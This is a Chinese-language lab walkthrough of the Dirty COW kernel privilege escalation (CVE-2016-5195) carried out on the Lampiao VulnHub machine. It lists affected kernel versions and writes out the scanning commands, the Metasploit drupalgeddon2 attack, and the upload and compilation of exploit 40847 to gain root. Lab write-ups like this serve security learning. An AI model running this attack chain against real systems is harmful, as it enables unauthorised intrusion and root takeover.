总字符数: 3.37K

代码: 0.67K, 文本: 0.66K

预计阅读时间: 6 分钟

Escape

漏洞描述

脏牛漏洞(CVE-2016–5195),又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大.

漏洞具体是由于get_user_page内核函数在处理Copy-on-Write的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会.修改su或者passwd程序就可以达到root的目的.

漏洞危害

低权限用户利用脏牛漏洞可以在众多Linux系统上实现本地提权

影响范围

(如果你的内核版本低于以下版本,则还存在此漏洞):

1
2
3
4
5
6
7
Centos7/RHEL7     3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1

漏洞复现

靶场:

  1. https://www.vulnhub.com/entry/lampiao-1,249/
  2. https://download.vulnhub.com/lampiao/Lampiao.zip

arp-scan 扫描主机

arp-scan -l

nmap 扫描目标主机开放端口

nmap -sS -T4 -p 1-65535 -v 192.168.64.141

发现drupal,利用漏洞

通过开放的1898端口进入网站,看到目标网站,发现网站cms是drupal

1
2
3
4
5
6
7
# msf 搜索drupal漏洞,使用可利用漏洞进行攻击
>search drupal
# exploit/unix/webapp/drupal_drupalgeddon2
>use 1
>set rhosts 192.168.64.141
>set rport 1898
>run

信息收集

上传信息收集脚本,发现存在脏牛提权漏洞

1
upload /tmp/linux-exploit-suggester.sh  /tmp/lasc.sh

进入shell 执行信息收集脚本,执行结果中发现[CVE-2016-5195]脏牛漏洞

1
2
3
4
shell
cd /tmp
chmod 777 lasc.sh
./lasc.sh

漏洞利用

下载exp,上传exp

1
2
3
4
5
6
7
# 40611没成功,使用40847
mv 40847.cpp /tmp/
upload /tmp/40847.cpp /tmp/lasc.cpp
# 进入shell编译执行exp,得到登录密码
shell
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o exp lasc.cpp -lutil
./exp

打开交互式shell,切换root用户,提权成功